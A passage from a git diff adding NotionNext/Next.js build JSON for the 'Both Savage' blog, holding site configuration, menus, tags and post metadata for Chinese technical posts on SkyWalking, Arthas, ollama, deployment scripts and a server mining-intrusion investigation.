gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"role":"reader"},"a80c22ef-8b56-410d-af06-07615c5f2654":{"value":{"id":"a80c22ef-8b56-410d-af06-07615c5f2654","version":13,"type":"board","name":"Post Board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"role":"reader"},"e17348d8-5a80-4f02-813c-025b790d16c8":{"value":{"id":"e17348d8-5a80-4f02-813c-025b790d16c8","version":32,"type":"table","name":"Config","format":{"gallery_cover":{"type":"page_content"},"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"property_filters":[{"id":"b54a6c88-635d-4de4-946e-5a855a1f4069","filter":{"filter":{"value":[{"type":"exact","value":"Notice"},{"type":"exact","value":"Menu"},{"type":"exact","value":"Config"},{"type":"exact","value":"SubMenu"},{"type":"exact","value":"Page"}],"operator":"enum_is"},"property":"`gQ~"}}],"table_properties":[{"width":116,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":118,"visible":true,"property":"`gQ~"},{"width":219,"visible":true,"property":"title"},{"width":326,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"`gQ~"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"}],"table_frozen_column_index":-1,"table_subitem_toggle_column":"title"},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"role":"reader"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},"next":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}]},"__N_SSG":true}
\ No newline at end of file
diff --git a/_next/data/mm0_cWkCfdum_vxo9wL_b/article/240121-skywaking.json b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/240121-skywaking.json
new file mode 100644
index 000000000..ae839f4b3
--- /dev/null
+++ b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/240121-skywaking.json
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","titl